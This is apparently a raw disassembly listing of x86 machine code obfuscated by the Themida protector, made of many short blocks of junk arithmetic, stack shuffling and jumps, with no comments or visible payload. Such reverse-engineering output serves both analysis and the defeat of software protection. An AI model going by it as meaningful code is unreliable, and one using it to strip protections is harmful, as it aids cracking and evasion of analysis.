		mov	ebx, 285A5C9Ah
		push	esi
		mov	esi, 1
		sub	ebx, esi
		pop	esi
		xchg	ebp, ebx
		push	391Dh
		mov	[esp+1Eh+var_20+2], ebp
		push	edi
		mov	ebp, [esp+22h+var_24+2]
		jmp	loc_56E3CB
; ---------------------------------------------------------------------------


loc_567C1D:				; CODE XREF: sub_56207C+A63j
		mov	[esp+1Eh+var_20+2], ebp
		jmp	loc_56B6EF
; ---------------------------------------------------------------------------


loc_567C25:				; CODE XREF: sub_56207C-661j
		mov	ebx, [esp+22h+var_24+2]
		jmp	loc_5709A3
; ---------------------------------------------------------------------------


loc_567C2D:				; CODE XREF: sub_56207C+F20Bj
		pop	eax
		add	ecx, 66A6DC3h
		push	[esp+1Eh+var_20+2]
		mov	ebx, [esp+22h+var_24+2]
		add	esp, 4
		add	esp, 4
		push	1E21h
		mov	[esp+1Eh+var_20+2], ecx
		push	[esp+1Eh+var_1C+2]
		pop	ecx
		pop	[esp+1Eh+var_20+2]
		mov	esp, [esp+1Ah+var_1C+2]
		mov	cx, word ptr [esp+1Ah+var_1C+2]
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], edx
		push	esp
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_56BE9D
; ---------------------------------------------------------------------------


loc_567C79:				; CODE XREF: sub_56207C+193Dj
		shl	bx, 5
		neg	bx
		jmp	loc_566FE1
; ---------------------------------------------------------------------------


loc_567C85:				; CODE XREF: sub_56207C+C29Dj
		xor	dl, 0E1h
		or	dl, 0D1h
		sub	dl, 0FEh
		push	6923h
		mov	[esp+44h+var_44], ebx
		push	edx
		mov	dl, 0FFh
		mov	bh, dl
		jmp	loc_561A8F
; ---------------------------------------------------------------------------


loc_567CA0:				; CODE XREF: sub_56207C+CDA4j
		push	ecx
		jmp	loc_566DFC
; ---------------------------------------------------------------------------


loc_567CA6:				; CODE XREF: sub_56207C+3143j
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		add	edi, 4
		push	edi
		jmp	loc_55E7B8
; ---------------------------------------------------------------------------


loc_567CBE:				; CODE XREF: sub_56207C+DCE0j
		add	eax, ebx
		jmp	loc_5692EB
; ---------------------------------------------------------------------------


loc_567CC5:				; CODE XREF: sub_56207C+29E0j
		pop	[esp+18h+var_18]
		pop	esp
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		add	al, cl
		pop	cx
		push	dx
		mov	dh, 75h
		sub	al, dh
		jmp	loc_56718E
; ---------------------------------------------------------------------------


loc_567CE1:				; CODE XREF: sub_56207C-F6Dj
		pop	edx
		push	edx
		mov	edx, 91F6D96h
		jmp	loc_560EA9
; ---------------------------------------------------------------------------


loc_567CED:				; DATA XREF: Themida_:0055E150o
		push	[esp+16h+var_18+2]
		jmp	loc_561BCB
; ---------------------------------------------------------------------------


loc_567CF5:				; CODE XREF: sub_56207C+33F1j
		pop	edx
		push	1F8Ch
		mov	[esp+46h+var_48+2], eax
		push	ebx
		mov	bl, cl
		jmp	loc_56AD77
; ---------------------------------------------------------------------------


loc_567D06:				; CODE XREF: sub_56207C+741Cj
		mov	ebx, esi
		pop	esi
		jmp	loc_563558
; ---------------------------------------------------------------------------


loc_567D0E:				; CODE XREF: sub_56207C+231j
		push	7F58h
		sub	esp, 4
		mov	[esp+2Ch+var_2C], esp
		add	[esp+2Ch+var_2C], 4
		pop	[esp+2Ch+var_2C]
		push	ebx
		push	4
		mov	ebx, [esp+30h+var_30]
		add	esp, 4
		add	[esp+2Ch+var_28], ebx
		mov	ebx, [esp+2Ch+var_2C]
		jmp	loc_572E2D
; ---------------------------------------------------------------------------


loc_567D3B:				; CODE XREF: sub_56207C+7D74j
		mov	eax, esp
		push	ecx
		push	eax
		mov	eax, 2BCE3318h
		or	eax, 1CD8698Ch
		neg	eax
		dec	eax
		xor	eax, 0D05DA67Bh
		mov	ecx, eax
		jmp	loc_56BA25
; ---------------------------------------------------------------------------


loc_567D58:				; CODE XREF: sub_56207C+3CBDj
		shl	dh, 3
		push	eax
		jmp	loc_56B631
; ---------------------------------------------------------------------------


loc_567D61:				; CODE XREF: sub_56207C+A3E0j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56DF87
; ---------------------------------------------------------------------------


loc_567D6E:				; CODE XREF: sub_56207C+3741j
		mov	ecx, 4
		sub	esi, 37C67FD1h
		jmp	loc_563DC0
; ---------------------------------------------------------------------------


loc_567D7E:				; CODE XREF: sub_56207C+54A3j
		add	esp, 4
		push	edi
		push	eax
		push	63C40F22h
		jmp	loc_56ACDC
; ---------------------------------------------------------------------------


loc_567D90:				; CODE XREF: sub_56207C+115C5j
		dec	al
		inc	al
		jmp	loc_56410D
; ---------------------------------------------------------------------------


loc_567D99:				; CODE XREF: sub_56207C-286Ej
		pop	esi
		jmp	loc_5631C2
; ---------------------------------------------------------------------------


loc_567D9F:				; CODE XREF: sub_56207C+236Bj
		pop	esp
		neg	eax
		xor	eax, 0F4C39B39h
		push	ecx
		mov	ecx, 536F3C25h
		xor	ecx, 562A796Eh
		sub	ebx, ecx
		jmp	loc_572E27
; ---------------------------------------------------------------------------


loc_567DBA:				; CODE XREF: sub_56207C+E3ABj
		mov	[esp+2Eh+var_30+2], ebx
		mov	ebx, esp
		push	esi
		mov	esi, 49933BB7h
		push	edx
		mov	edx, 767C26D6h
		jmp	loc_56C407
; ---------------------------------------------------------------------------


loc_567DD0:				; CODE XREF: sub_56207C+C22j
		pop	[esp+4Ch+var_4C]
		mov	esp, [esp+48h+var_48]
		btr	word ptr [esp+48h+var_48], ax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_567DE1:				; CODE XREF: sub_56207C+8F79j
		xor	[esp+4Ch+var_4C], ebp
		xor	ebp, [esp+4Ch+var_4C]
		jmp	loc_56D5DE
; ---------------------------------------------------------------------------


loc_567DEC:				; CODE XREF: sub_56207C+F845j
		and	esi, 2D692B3Ah
		jmp	loc_560967
; ---------------------------------------------------------------------------


loc_567DF7:				; DATA XREF: Themida_:0055E234o
		mov	eax, [esp+4Ch+var_4C]
		push	388Fh
		jmp	loc_5643D8
; ---------------------------------------------------------------------------


loc_567E04:				; CODE XREF: sub_56207C+3D64j
		mov	[esp+16h+var_18+2], ebx
		push	2BD6B0Dh
		pop	ebx
		add	ebx, 0FD4294F5h
		push	ebx
		pop	edi
		mov	ebx, [esp+16h+var_18+2]
		add	esp, 4
		jmp	loc_5640BC
; ---------------------------------------------------------------------------


loc_567E20:				; CODE XREF: sub_56207C+9376j
		neg	ebx
		jmp	loc_56A908
; ---------------------------------------------------------------------------


loc_567E27:				; CODE XREF: sub_56207C+5B6Fj
		push	43B806C7h
		jmp	loc_56B478
; ---------------------------------------------------------------------------


loc_567E31:				; CODE XREF: sub_56207C+D149j
		pop	esp
		push	17AEh
		mov	[esp+1Eh+var_20+2], ebp
		push	26CAh
		mov	[esp+22h+var_24+2], ecx
		mov	ecx, 0B44014Eh
		shl	ecx, 5
		sub	esp, 4
		mov	[esp+26h+var_28+2], eax
		jmp	loc_561669
; ---------------------------------------------------------------------------


loc_567E58:				; CODE XREF: sub_56207C+969Aj
		mov	[esp+26h+var_28+2], ebp
		mov	ebp, 5C282E78h
		or	ebp, 57635D11h
		shl	ebp, 4
		jmp	loc_56F083
; ---------------------------------------------------------------------------


loc_567E6E:				; CODE XREF: sub_56207C+69E0j
		push	ecx
		mov	ecx, 4A8D2C92h
		and	ecx, 15EB6D46h
		jmp	loc_564E89
; ---------------------------------------------------------------------------


loc_567E7F:				; CODE XREF: sub_56207C+53E4j
		push	ebp
		mov	ebp, 4B810E2Fh
		jmp	loc_56F6EF
; ---------------------------------------------------------------------------


loc_567E8A:				; DATA XREF: Themida_:0055E218o
		push	[esp+2Ch+var_2C]
		mov	eax, [esp+30h+var_30]
		push	ebp
		push	4A1Fh
		mov	[esp+38h+var_38], esp
		jmp	loc_567738
; ---------------------------------------------------------------------------


loc_567E9E:				; CODE XREF: sub_56207C+2CBEj
		neg	esi
		xor	esi, 7CF47648h
		sub	eax, 63033863h
		add	eax, esi
		push	edx
		mov	edx, 63033863h
		add	eax, edx
		pop	edx
		pop	esi
		push	eax
		pop	ebx
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		push	ebx
		not	[esp+10h+var_10]
		jmp	loc_55EBC3
; ---------------------------------------------------------------------------


loc_567EC8:				; CODE XREF: sub_56207C+9361j
		xor	edx, 15492DD4h
		shr	edx, 6
		push	eax
		jmp	loc_55F787
; ---------------------------------------------------------------------------


loc_567ED7:				; CODE XREF: sub_56207C+10198j
		mov	edx, 2A2B1A17h
		not	edx
		push	ebp
		mov	ebp, 92637FFh
		jmp	loc_55EB0B
; ---------------------------------------------------------------------------


loc_567EE9:				; CODE XREF: sub_56207C+45D0j
		xor	edx, 51DB066Ah
		add	eax, 19340DC3h
		sub	eax, edx
		push	edx
		jmp	loc_561A0D
; ---------------------------------------------------------------------------


loc_567EFC:				; CODE XREF: sub_56207C+A56j
		xor	ebx, [esp+16h+var_18+2]
		xor	[esp+16h+var_18+2], ebx
		xor	ebx, [esp+16h+var_18+2]
		pop	esp
		jmp	loc_569485
; ---------------------------------------------------------------------------


loc_567F0B:				; CODE XREF: sub_56207C+DFE6j
		sub	ax, bx
		push	ebx
		mov	bx, 6D9Dh
		sub	bx, 3A73h
		xor	bx, 78C7h
		sub	bx, 2568h
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], esi
		mov	si, 5CFDh
		sub	si, 0A33h
		shl	si, 5
		sub	si, 4AD9h
		sub	si, 0DE2Dh
		add	ax, si
		mov	esi, [esp+1Ah+var_1C+2]
		add	esp, 4
		add	ax, bx
		sub	ax, 303Ah
		jmp	loc_562137
; ---------------------------------------------------------------------------


loc_567F57:				; CODE XREF: sub_56207C+3AF7j
		add	edi, 1C1921DFh
		pop	edx
		jmp	loc_56524F
; ---------------------------------------------------------------------------


loc_567F63:				; CODE XREF: sub_56207C+2406j
		pop	esi
		add	eax, 5B004BC6h
		sub	eax, 42BF37B4h
		sub	eax, 203B0EDCh
		add	eax, ecx
		add	eax, 203B0EDCh
		add	eax, 42BF37B4h
		push	esi
		mov	esi, 18560592h
		jmp	loc_5674A8
; ---------------------------------------------------------------------------


loc_567F8A:				; CODE XREF: sub_56207C+243Aj
		pop	esi
		sub	edi, 1A270CB5h
		sub	edi, ebp
		add	edi, 1A270CB5h
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		shl	edi, 7
		push	23C5h
		mov	[esp+0Ch+var_C], ebp
		jmp	loc_573262
; ---------------------------------------------------------------------------


loc_567FB2:				; CODE XREF: sub_56207C+6F2Dj
		push	edi
		jmp	loc_56A8F5
; ---------------------------------------------------------------------------


loc_567FB8:				; CODE XREF: sub_56207C-2894j
		pop	esp
		push	eax
		sub	esp, 4
		mov	[esp+18h+var_18], edi
		jmp	loc_56285F
; ---------------------------------------------------------------------------


loc_567FC5:				; CODE XREF: sub_56207C-1435j
		add	esp, 4
		jmp	loc_56BDC2
; ---------------------------------------------------------------------------


loc_567FCD:				; CODE XREF: sub_56207C+2AF1j
		add	esi, 0B71492BBh
		inc	esi
		sub	esi, 60F47F9Dh
		sub	esi, 1
		jmp	loc_572767
; ---------------------------------------------------------------------------


loc_567FE2:				; CODE XREF: sub_56207C-35EAj
		push	4581h
		mov	[esp+2Eh+var_30+2], edi
		mov	edi, 0FFFFFFFFh
		sub	ebx, edi
		mov	edi, [esp+2Eh+var_30+2]
		add	esp, 4
		add	ebx, 0F51BE6ACh
		add	edi, ebx
		mov	ebx, [esp+2Ah+var_2C+2]
		add	esp, 4
		push	esi
		jmp	loc_563F83
; ---------------------------------------------------------------------------


loc_56800B:				; CODE XREF: sub_56207C+FC88j
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		jmp	loc_56F067
; ---------------------------------------------------------------------------


loc_56801C:				; CODE XREF: sub_56207C+7ED1j
		xchg	ebp, [esp+2Eh+var_30+2]
		pop	esp
		push	35B3h
		mov	[esp+2Eh+var_30+2], ebx
		jmp	loc_570AEE
; ---------------------------------------------------------------------------


loc_56802D:				; CODE XREF: sub_56207C+7DD3j
		sub	esi, 23AADB9h
		jmp	loc_566F89
; ---------------------------------------------------------------------------


loc_568038:				; CODE XREF: sub_56207C+EDCEj
		xor	edx, 1E742BB3h
		push	ebp
		push	eax
		push	6BD4235Fh
		jmp	loc_56EBA2
; ---------------------------------------------------------------------------


loc_56804A:				; CODE XREF: sub_56207C+ABE1j
		add	edi, 4
		xchg	edi, [esp+3Ah+var_3C+2]
		mov	esp, [esp+3Ah+var_3C+2]
		xor	esi, [esp+3Ah+var_3C+2]
		xor	[esp+3Ah+var_3C+2], esi
		xor	esi, [esp+3Ah+var_3C+2]
		mov	esp, [esp+3Ah+var_3C+2]
		sar	word ptr [esp+3Ah+var_3C+2], cl
		pushf
		jmp	loc_562958
; ---------------------------------------------------------------------------


loc_568069:				; CODE XREF: sub_56207C+EC32j
		pop	eax
		push	3745h
		mov	[esp+3Eh+var_40+2], edx
		push	edi
		mov	edi, 13277D49h
		and	edi, 0E2C1B1Fh
		jmp	loc_56F01C
; ---------------------------------------------------------------------------


loc_568083:				; CODE XREF: sub_56207C+6E0Aj
		pop	ebx
		add	esi, 23914E04h
		mov	edi, [esp+3Eh+var_40+2]
		jmp	loc_569B43
; ---------------------------------------------------------------------------


loc_568092:				; CODE XREF: sub_56207C+6C25j
		mov	ecx, [esp+3Eh+var_40+2]
		add	esp, 4
		add	edi, edx
		jmp	loc_5619FC
; ---------------------------------------------------------------------------


loc_56809F:				; CODE XREF: sub_56207C+318Ej
		push	eax
		mov	eax, 3D610E55h
		mov	edi, 0C29EF1CFh
		add	edi, eax
		jmp	loc_5698D8
; ---------------------------------------------------------------------------


loc_5680B1:				; CODE XREF: sub_56207C+51C3j
		pop	ebx
		jmp	loc_56DBDE
; ---------------------------------------------------------------------------


loc_5680B7:				; CODE XREF: sub_56207C+D40j
		sub	ebp, 4
		jmp	loc_570355
; ---------------------------------------------------------------------------


loc_5680BF:				; CODE XREF: sub_56207C+7082j
		mov	[esp+0Eh+var_10+2], esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		add	esi, edx
		mov	edx, [esp+12h+var_14+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+16h+var_18+2]
		jmp	loc_55F6A8
; ---------------------------------------------------------------------------


loc_5680E3:				; CODE XREF: sub_56207C+44E1j
		add	ecx, 5C023F63h
		sub	ecx, 0C714A0AFh
		and	ebx, ecx
		mov	ecx, [esp+2Ch+var_2C]
		jmp	loc_56A064
; ---------------------------------------------------------------------------


loc_5680F9:				; CODE XREF: sub_56207C+E7E6j
		xchg	edi, [esp+2Ch+var_2C]
		not	edi
		xchg	edi, [esp+2Ch+var_2C]
		jmp	loc_562B1B
; ---------------------------------------------------------------------------


loc_568106:				; CODE XREF: sub_56207C+63EDj
		mov	ebx, 4
		add	[esp+2Ch+var_28], ebx
		pop	ebx
		mov	ebp, [esp+28h+var_28]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+2Ch+var_2C]
		pop	esp
		push	eax
		push	ecx
		mov	ecx, 4
		mov	eax, ecx
		jmp	loc_56CE47
; ---------------------------------------------------------------------------


loc_568134:				; CODE XREF: sub_56207C+9BA3j
		sub	eax, 0A70A6319h
		sub	ecx, eax
		pop	eax
		add	edx, ecx
		jmp	loc_56427D
; ---------------------------------------------------------------------------


loc_568143:				; CODE XREF: sub_56207C+EE94j
		mov	[esp+2Ch+var_2C], ebx
		pop	eax
		mov	ebx, [esp+28h+var_28]
		add	esp, 4
		jmp	loc_57177D
; ---------------------------------------------------------------------------


loc_568152:				; CODE XREF: sub_56207C+CFEFj
		sub	esp, 4
		mov	[esp+28h+var_28], esp
		jmp	loc_5719DD
; ---------------------------------------------------------------------------


loc_568160:				; CODE XREF: sub_56207C+A3DAj
		pop	ebp
		add	esp, 4
		xor	eax, [esp+20h+var_20]
		xor	[esp+20h+var_20], eax
		jmp	loc_56F8E6
; ---------------------------------------------------------------------------


loc_568172:				; CODE XREF: sub_56207C+578Dj
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		push	ebx
		push	esi
		jmp	loc_565B16
; ---------------------------------------------------------------------------


loc_568184:				; CODE XREF: sub_56207C+F478j
		mov	eax, esp
		jmp	loc_572586
; ---------------------------------------------------------------------------


loc_56818B:				; CODE XREF: sub_56207C+A8F9j
		mov	[esp+1Eh+var_20+2], eax
		sub	esp, 4
		mov	[esp+22h+var_24+2], ecx
		jmp	loc_55F09E
; ---------------------------------------------------------------------------


loc_56819C:				; CODE XREF: sub_56207C+2102j
		push	ebp
		jmp	loc_56A2A9
; ---------------------------------------------------------------------------


loc_5681A2:				; CODE XREF: sub_56207C-224Aj
		add	ebp, edi
		sub	ebp, 18E3572Ch
		push	ebx
		mov	ebx, 5842781h
		push	ebp
		mov	ebp, 13E20FE6h
		sub	ebx, ebp
		pop	ebp
		sub	ebx, 0E2D7E989h
		add	ebp, ebx
		pop	ebx
		pop	edi
		push	4921h
		mov	[esp+28h+var_28], ebp
		push	[esp+28h+var_24]
		push	[esp+2Ch+var_2C]
		mov	ebp, [esp+30h+var_30]
		jmp	loc_56487C
; ---------------------------------------------------------------------------


loc_5681DA:				; CODE XREF: sub_56207C-201Aj
		mov	eax, [esp+30h+var_30]
		add	esp, 4
		shr	eax, 3
		sub	esp, 4
		jmp	loc_561C2E
; ---------------------------------------------------------------------------


loc_5681EE:				; CODE XREF: sub_56207C+9595j
		add	cl, bh
		jmp	loc_5713B1
; ---------------------------------------------------------------------------


loc_5681F5:				; CODE XREF: sub_56207C+51Ej
		mov	eax, 19194205h
		add	eax, 30D12C87h
		push	0
		jmp	loc_562D5A
; ---------------------------------------------------------------------------


loc_568209:				; CODE XREF: sub_56207C+97E0j
		sub	ch, bh
		pop	ebx
		sub	ch, bl
		add	ch, 1Eh
		pop	ebx
		jmp	loc_564786
; ---------------------------------------------------------------------------


loc_568217:				; CODE XREF: sub_56207C-BA4j
		pop	edx
		push	ebx
		mov	ebx, 4
		sub	ebp, 48BD6808h
		push	1DB0h
		mov	[esp+20h+var_20], edx
		mov	edx, 3EEB2AE9h
		or	edx, 2BA36338h
		xor	edx, 1E5379BCh
		push	esi
		mov	esi, 5BC41288h
		jmp	loc_560E2E
; ---------------------------------------------------------------------------


loc_568248:				; CODE XREF: sub_56207C+7CECj
		pop	esi
		sub	ebx, 4
		xchg	ebx, [esp+20h+var_20]
		mov	esp, [esp+20h+var_20]
		mov	[esp+20h+var_20], ecx
		push	297Bh
		mov	[esp+24h+var_24], ebp
		push	ecx
		mov	ecx, 7F616F15h
		jmp	loc_57293F
; ---------------------------------------------------------------------------


loc_56826B:				; CODE XREF: sub_56207C+213j
		pop	ebx
		add	ebx, 6F9603CFh
		mov	ebp, [esp+20h+var_20]
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp+1Ch+var_1C]
		sub	esp, 4
		mov	[esp+20h+var_20], edx
		mov	edx, esp
		jmp	loc_56DC7B
; ---------------------------------------------------------------------------


loc_56828D:				; CODE XREF: sub_56207C+FB96j
		xchg	edi, [esp+20h+var_20]
		pop	esp
		push	70E1h
		mov	[esp+20h+var_20], ecx
		mov	ecx, 0C7F007Bh
		push	edi
		jmp	loc_56E300
; ---------------------------------------------------------------------------


loc_5682A4:				; CODE XREF: sub_56207C-362Cj
		xchg	edx, [esp+22h+var_24+2]
		pop	esp
		mov	[esp+1Eh+var_20+2], eax
		jmp	loc_563C92
; ---------------------------------------------------------------------------


loc_5682B0:				; CODE XREF: sub_56207C+51DCj
		add	ecx, 4
		xchg	ecx, [esp+1Ch+var_1C]
		jmp	loc_571863
; ---------------------------------------------------------------------------


loc_5682BE:				; CODE XREF: sub_56207C+7870j
		xchg	edi, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		mov	[esp+1Ch+var_1C], edx
		mov	edx, 4
		add	edi, 39C822E4h
		sub	edi, 11407647h
		jmp	loc_5679FE
; ---------------------------------------------------------------------------


loc_5682DD:				; CODE XREF: sub_56207C+293Fj
		mov	esp, [esp+1Ah+var_1C+2]
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], ebx
		push	eax
		mov	al, dl
		push	edx
		mov	dh, al
		mov	bh, dh
		jmp	loc_563960
; ---------------------------------------------------------------------------


loc_5682F3:				; CODE XREF: sub_56207C-126Aj
		xor	[edx+30h], eax
		jmp	loc_5723BB
; ---------------------------------------------------------------------------


loc_5682FB:				; CODE XREF: sub_56207C+A35Aj
		push	edi
		mov	edi, esp
		jmp	loc_5645F3
; ---------------------------------------------------------------------------


loc_568303:				; CODE XREF: sub_56207C-2231j
		shl	dh, 5
		push	eax
		mov	al, 98h
		xchg	cl, al
		add	cl, 1
		xchg	cl, al
		shr	al, 3
		xor	al, 0DFh
		neg	al
		xor	al, 54h
		push	ecx
		mov	cl, 0C8h
		push	eax
		mov	al, 42h
		xchg	cl, al
		dec	cl
		xchg	cl, al
		jmp	loc_56FCBF
; ---------------------------------------------------------------------------


loc_56832A:				; CODE XREF: sub_56207C+22ABj
		pop	edi
		push	44D3h
		mov	[esp+34h+var_34], eax
		push	4
		pop	eax
		add	ebp, eax
		mov	eax, [esp+34h+var_34]
		add	esp, 4
		push	3DDAh
		jmp	loc_56C8F6
; ---------------------------------------------------------------------------


loc_56834E:				; CODE XREF: sub_56207C+A6E8j
		push	dword ptr [eax]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_568355:				; CODE XREF: sub_56207C+D787j
		add	esp, 4
		mov	dh, bl
		mov	ebx, [esp+34h+var_34]
		add	esp, 4
		xor	dh, 1Bh
		jmp	loc_5686DC
; ---------------------------------------------------------------------------


loc_56836E:				; CODE XREF: sub_56207C+FC56j
		pop	dword ptr [edi+eax*4]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_568376:				; CODE XREF: sub_56207C-912j
		push	edx
		mov	edx, 7EF2786Fh
		mov	esi, edx
		mov	edx, [esp+40h+var_40]
		add	esp, 4
		jmp	loc_56CD77
; ---------------------------------------------------------------------------


loc_568389:				; CODE XREF: sub_56207C+94F7j
		add	edi, 4
		xchg	edi, [esp+3Ch+var_3C]
		jmp	loc_569299
; ---------------------------------------------------------------------------


loc_568394:				; CODE XREF: sub_56207C+131Dj
		mov	esi, 4C352330h
		mov	edi, 1E041DE0h
		xor	edi, esi
		pop	esi
		or	edi, 420128ADh
		push	edi
		not	[esp+22h+var_24+2]
		jmp	loc_561A4F
; ---------------------------------------------------------------------------


loc_5683B0:				; CODE XREF: sub_56207C-C71j
		push	esi
		jmp	loc_570D01
; ---------------------------------------------------------------------------


loc_5683B6:				; CODE XREF: sub_56207C+D40Cj
		mov	edi, 65511BB1h
		xor	edi, 5CF81CABh
		or	ebp, edi
		pop	edi
		push	eax
		mov	eax, 77CA013Bh
		dec	eax
		jmp	loc_56167B
; ---------------------------------------------------------------------------


loc_5683D0:				; CODE XREF: sub_56207C+696Aj
		shr	ebx, 7
		push	esi
		mov	esi, 62357248h
		sub	ebx, esi
		pop	esi
		jmp	loc_56F421
; ---------------------------------------------------------------------------


loc_5683E1:				; CODE XREF: sub_56207C+7791j
		mov	bl, 5Eh
		sub	bl, 0FFh
		and	bl, 0A0h
		shl	bl, 5
		not	bl
		and	bl, 71h
		xor	bl, 0A8h
		not	bl
		or	bl, 1Ah
		push	eax
		mov	ah, 74h
		sub	bl, 0DDh
		add	bl, ah
		add	bl, 0DDh
		pop	eax
		and	cl, bl
		push	[esp+14h+var_14]
		push	[esp+18h+var_18]
		pop	ebx
		add	esp, 4
		add	esp, 4
		add	cl, 5Dh
		inc	cl
		push	eax
		mov	ah, 0E2h
		inc	ah
		sub	ah, 0BAh
		jmp	loc_571A22
; ---------------------------------------------------------------------------


loc_568429:				; CODE XREF: sub_56207C+E786j
		push	2754h
		mov	[esp+18h+var_18], edx
		mov	dl, 3Ch
		neg	dl
		xor	dl, 0C7h
		not	dl
		jmp	loc_5719AE
; ---------------------------------------------------------------------------


loc_56843F:				; CODE XREF: sub_56207C-721j
		add	esp, 4
		push	edx
		jmp	loc_572E9D
; ---------------------------------------------------------------------------


loc_568448:				; CODE XREF: sub_56207C-171Aj
		add	esi, 4
		xchg	esi, [esp+38h+var_38]
		pop	esp
		sub	esp, 4
		mov	[esp+38h+var_38], ebp
		push	52F3h
		mov	[esp+3Ch+var_3C], esp
		sub	esp, 4
		mov	[esp+40h+var_40], ebx
		jmp	loc_568106
; ---------------------------------------------------------------------------


loc_56846E:				; CODE XREF: sub_56207C+3B4Cj
		add	esp, 4
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		pop	edx
		sub	esp, 4
		jmp	loc_57332D
; ---------------------------------------------------------------------------


loc_568480:				; CODE XREF: sub_56207C+CE6Bj
		pop	ecx
		xor	esi, [esp-4+arg_0]
		xor	[esp-4+arg_0], esi
		xor	esi, [esp-4+arg_0]
		jmp	loc_568B06
; ---------------------------------------------------------------------------


loc_56848F:				; CODE XREF: sub_56207C-16FFj
		add	edi, 57334A11h
		mov	ecx, [esp+3Ch+var_3C]
		add	esp, 4
		sub	edi, 4
		xchg	edi, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		jmp	loc_565E70
; ---------------------------------------------------------------------------


loc_5684AC:				; CODE XREF: sub_56207C+2F9j
		xor	edi, 187A4F52h
		sub	edi, 0F3C1B976h
		jmp	loc_56050E
; ---------------------------------------------------------------------------


loc_5684BD:				; CODE XREF: sub_56207C-23C6j
		pop	esp
		add	edi, 4
		push	600Dh
		mov	[esp+28h+var_28], edi
		push	[esp+28h+var_24]
		mov	edi, [esp+2Ch+var_2C]
		add	esp, 4
		pop	[esp+28h+var_28]
		pop	esp
		push	[esp+20h+var_20]
		pop	eax
		sub	esp, 4
		mov	[esp+24h+var_24], eax
		jmp	loc_5732BC
; ---------------------------------------------------------------------------


loc_5684EC:				; CODE XREF: sub_56207C-39A7j
		add	ebx, ebp
		pop	ebp
		shr	ebx, 3
		xor	ebx, 132E5BBCh
		add	edi, ebx
		push	[esp+18h+var_18]
		pop	ebx
		sub	esp, 4
		mov	[esp+1Ch+var_1C], edx
		jmp	loc_55E417
; ---------------------------------------------------------------------------


loc_568509:				; CODE XREF: sub_56207C+3957j
		pop	ebp
		mov	edi, [esp+32h+var_34+2]
		add	esp, 4
		add	esi, 4
		xor	esi, [esp+2Eh+var_30+2]
		xor	[esp+2Eh+var_30+2], esi
		jmp	loc_561D6B
; ---------------------------------------------------------------------------


loc_568524:				; CODE XREF: sub_56207C+BFEEj
		push	esi
		mov	esi, 153421D9h
		jmp	loc_5726C5
; ---------------------------------------------------------------------------


loc_56852F:				; CODE XREF: sub_56207C+17Cj
		xor	esi, eax
		pop	eax
		xor	ebp, esi
		pop	esi
		add	edx, 788F0DA3h
		jmp	loc_56C106
; ---------------------------------------------------------------------------


loc_568540:				; CODE XREF: sub_56207C+F6D4j
		xor	ecx, [esp+60h+var_60]
		mov	esp, [esp+60h+var_60]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_568552:				; CODE XREF: sub_56207C-25C9j
		xchg	ebx, [esp+6+var_8+2]
		pop	esp
		xchg	edi, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		push	7FF7h
		jmp	loc_55E7AB
; ---------------------------------------------------------------------------


loc_568566:				; CODE XREF: sub_56207C+C031j
		pop	[esp+6+var_8+2]
		pop	esp
		jmp	loc_562593
; ---------------------------------------------------------------------------


loc_56856F:				; CODE XREF: sub_56207C+F5E8j
		pop	esi
		add	edx, 4
		xchg	edx, [esp-6+arg_0+2]
		jmp	loc_5649FB
; ---------------------------------------------------------------------------


loc_56857E:				; CODE XREF: sub_56207C+108BEj
		push	esp
		pop	dword ptr [esp+0]
		jmp	sub_560AFE
; ---------------------------------------------------------------------------


loc_568587:				; CODE XREF: sub_56207C-1E0j
		add	edx, 5F781186h
		pop	edi
		push	edx
		jmp	loc_568993
; ---------------------------------------------------------------------------


loc_568594:				; CODE XREF: sub_56207C+69CBj
		shr	ecx, 6
		xor	ecx, 34B805E5h
		jmp	loc_55F164
; ---------------------------------------------------------------------------


loc_5685A2:				; CODE XREF: sub_56207C+A500j
		sub	ebx, 41617582h
		jmp	loc_5727AB
; ---------------------------------------------------------------------------


loc_5685AD:				; CODE XREF: sub_56207C+270j
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		sub	esp, 4
		jmp	loc_56FD88
; ---------------------------------------------------------------------------


loc_5685C5:				; CODE XREF: sub_56207C+8AD8j
		add	ebx, edi
		add	ebx, 3A475989h
		push	edx
		mov	edx, 0DF64B6h
		jmp	loc_573010
; ---------------------------------------------------------------------------


loc_5685D8:				; CODE XREF: sub_56207C+D6A9j
		add	ebx, 4
		jmp	loc_56A30C
; ---------------------------------------------------------------------------


loc_5685E3:				; CODE XREF: sub_56207C-FF4j
		mov	ebx, 333F7D17h
		shl	ebx, 5
		jmp	loc_570F81
; ---------------------------------------------------------------------------


loc_5685F0:				; CODE XREF: sub_56207C+C0D1j
		sub	ecx, ebx
		pop	ebx
		mov	edx, [esp+34h+var_34]
		push	4CACh
		jmp	loc_573185
; ---------------------------------------------------------------------------


loc_568600:				; CODE XREF: sub_56207C+9D1Ej
		pop	esp
		mov	[esp+34h+var_34], edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		sub	edi, 57334A11h
		jmp	loc_56097B
; ---------------------------------------------------------------------------


